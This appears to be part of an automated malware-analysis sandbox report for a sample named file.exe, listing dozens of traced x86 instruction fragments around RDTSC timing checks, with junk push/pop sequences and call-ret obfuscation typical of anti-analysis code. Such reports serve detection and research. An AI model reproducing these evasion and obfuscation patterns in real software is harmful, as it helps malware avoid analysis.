Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ED22 second address: 117EDAF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F43B8D26616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F43B8D2661Ah 0x00000010 nop 0x00000011 movzx edi, bx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebp 0x00000019 call 00007F43B8D26618h 0x0000001e pop ebp 0x0000001f mov dword ptr [esp+04h], ebp 0x00000023 add dword ptr [esp+04h], 0000001Ah 0x0000002b inc ebp 0x0000002c push ebp 0x0000002d ret 0x0000002e pop ebp 0x0000002f ret 0x00000030 add edi, dword ptr [ebp+1244E7D3h] 0x00000036 xor dword ptr [ebp+122D2F56h], edi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ebp 0x00000041 call 00007F43B8D26618h 0x00000046 pop ebp 0x00000047 mov dword ptr [esp+04h], ebp 0x0000004b add dword ptr [esp+04h], 0000001Ch 0x00000053 inc ebp 0x00000054 push ebp 0x00000055 ret 0x00000056 pop ebp 0x00000057 ret 0x00000058 pushad 0x00000059 xor dword ptr [ebp+1244931Bh], ecx 0x0000005f xor dword ptr [ebp+122D1B3Dh], ecx 0x00000065 popad 0x00000066 xchg eax, ebx 0x00000067 pushad 0x00000068 pushad 0x00000069 pushad 0x0000006a popad 0x0000006b jnc 00007F43B8D26616h 0x00000071 popad 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117EDAF second address: 117EDB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117EDB3 second address: 117EDC5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jo 00007F43B8D26616h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F7DA second address: 117F7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F7DE second address: 117F819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov di, DC3Dh 0x0000000e push 00000000h 0x00000010 ja 00007F43B8D2661Ch 0x00000016 push 00000000h 0x00000018 pushad 0x00000019 jns 00007F43B8D2661Bh 0x0000001f add si, 3306h 0x00000024 popad 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 push ebx 0x00000029 jbe 00007F43B8D26616h 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F819 second address: 117F82B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jc 00007F43B8FD99ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F82B second address: 117F833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F833 second address: 117F837 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F837 second address: 117F83B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11801D6 second address: 1180258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F43B8FD99F7h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, 0E6583BFh 0x00000013 push 00000000h 0x00000015 movzx esi, si 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ecx 0x0000001d call 00007F43B8FD99E8h 0x00000022 pop ecx 0x00000023 mov dword ptr [esp+04h], ecx 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc ecx 0x00000030 push ecx 0x00000031 ret 0x00000032 pop ecx 0x00000033 ret 0x00000034 xor dword ptr [ebp+1247B605h], edi 0x0000003a mov di, cx 0x0000003d xchg eax, ebx 0x0000003e jmp 00007F43B8FD99EEh 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push ebx 0x00000047 jmp 00007F43B8FD99F7h 0x0000004c pop ebx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11858C4 second address: 11858D4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F43B8D26616h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180A0D second address: 1180A13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11858D4 second address: 11858F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26622h 0x00000007 jmp 00007F43B8D2661Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187BC8 second address: 1187BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F43B8FD99E8h 0x0000000b popad 0x0000000c push eax 0x0000000d jng 00007F43B8FD99F4h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187BE1 second address: 1187BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188C1A second address: 1188C7F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F43B8FD99E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov ebx, ecx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F43B8FD99E8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 00000000h 0x0000002c call 00007F43B8FD99F9h 0x00000031 mov di, BBA4h 0x00000035 pop ebx 0x00000036 mov edi, dword ptr [ebp+122D272Ah] 0x0000003c xchg eax, esi 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jno 00007F43B8FD99E6h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187D61 second address: 1187D7C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F43B8D26616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F43B8D2661Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188C7F second address: 1188C85 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188C85 second address: 1188C8A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187E7E second address: 1187E83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187E83 second address: 1187E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189AF4 second address: 1189AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189BB4 second address: 1189BB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189BB9 second address: 1189BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BBFB second address: 118BC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AE3E second address: 118AE42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AE42 second address: 118AE48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AE48 second address: 118AE4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CB91 second address: 118CB95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CB95 second address: 118CC2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8FD99F4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F43B8FD99E8h 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F43B8FD99E8h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b push 00000000h 0x0000002d stc 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F43B8FD99E8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000018h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c jmp 00007F43B8FD99ECh 0x00000051 jbe 00007F43B8FD99E8h 0x00000057 pushad 0x00000058 popad 0x00000059 popad 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F43B8FD99F0h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CC2B second address: 118CC31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CD73 second address: 118CD9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F43B8FD99ECh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F43B8FD99F4h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EC86 second address: 118EC90 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F43B8D26616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EC90 second address: 118ECA3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F43B8FD99E8h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ECA3 second address: 118ECA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ECA9 second address: 118ECAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192F99 second address: 1192F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194D8C second address: 1194D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192F9D second address: 1192FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192FA3 second address: 1192FA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195D27 second address: 1195DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 je 00007F43B8D26616h 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push esi 0x00000010 jmp 00007F43B8D2661Fh 0x00000015 pop esi 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F43B8D26618h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D2C16h], ecx 0x00000037 push 00000000h 0x00000039 or dword ptr [ebp+1247B4F8h], ecx 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push eax 0x00000044 call 00007F43B8D26618h 0x00000049 pop eax 0x0000004a mov dword ptr [esp+04h], eax 0x0000004e add dword ptr [esp+04h], 00000014h 0x00000056 inc eax 0x00000057 push eax 0x00000058 ret 0x00000059 pop eax 0x0000005a ret 0x0000005b jmp 00007F43B8D26629h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 jmp 00007F43B8D2661Eh 0x00000069 pushad 0x0000006a popad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198038 second address: 119803C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196EEC second address: 1196EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D2A4 second address: 119D2BA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F43B8FD99F0h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D45C second address: 119D47F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F43B8D26621h 0x0000000c pop eax 0x0000000d ja 00007F43B8D2661Eh 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D5F1 second address: 119D614 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F43B8FD99F8h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2165 second address: 11A216A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2386 second address: 11A2395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43B8FD99EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2395 second address: 11A2399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A2399 second address: 11A23C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jno 00007F43B8FD99F6h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F43B8FD99E6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A927D second address: 11A9298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F43B8D26624h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9572 second address: 11A9576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9576 second address: 11A959C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F43B8D26616h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F43B8D26620h 0x00000012 pop edi 0x00000013 jl 00007F43B8D2661Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9704 second address: 11A9709 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9866 second address: 11A9873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F43B8D26616h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9873 second address: 11A9879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9879 second address: 11A9895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D26628h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9895 second address: 11A9899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9A04 second address: 11A9A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D26626h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9A25 second address: 11A9A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9A29 second address: 11A9A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F43B8D2661Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9A3D second address: 11A9A49 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F43B8FD99EEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D27 second address: 11A9D4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43B8D26628h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jo 00007F43B8D26616h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9D4D second address: 11A9D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B021F second address: 11B0235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F43B8D26622h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0235 second address: 11B023B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11838DE second address: 11838F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43B8D26620h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11838F3 second address: 1183932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 7DD2B914h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F43B8FD99E8h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov di, E461h 0x0000002c push 44C40A85h 0x00000031 push eax 0x00000032 push edx 0x00000033 jnc 00007F43B8FD99E8h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183932 second address: 1183939 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183A5D second address: 1183A61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183A61 second address: 1183A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183E55 second address: 1183E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11841BF second address: 11841C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11841C3 second address: 11841F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F43B8FD99E8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 push 0000001Eh 0x00000024 mov di, 7045h 0x00000028 nop 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11841F6 second address: 1184200 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118450F second address: 1184526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F43B8FD99F3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184526 second address: 118452A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11845BA second address: 11845C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11845C0 second address: 1184624 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F43B8D26618h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov edi, 341DF8C6h 0x0000002a js 00007F43B8D2661Ch 0x00000030 or edi, 68BC90D0h 0x00000036 mov dl, 44h 0x00000038 lea eax, dword ptr [ebp+1248506Dh] 0x0000003e push 00000000h 0x00000040 push edi 0x00000041 call 00007F43B8D26618h 0x00000046 pop edi 0x00000047 mov dword ptr [esp+04h], edi 0x0000004b add dword ptr [esp+04h], 00000016h 0x00000053 inc edi 0x00000054 push edi 0x00000055 ret 0x00000056 pop edi 0x00000057 ret 0x00000058 push eax 0x00000059 push ebx 0x0000005a push edi 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B05E6 second address: 11B05F0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F43B8FD99ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0775 second address: 11B077B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B077B second address: 11B077F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B08D5 second address: 11B08D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
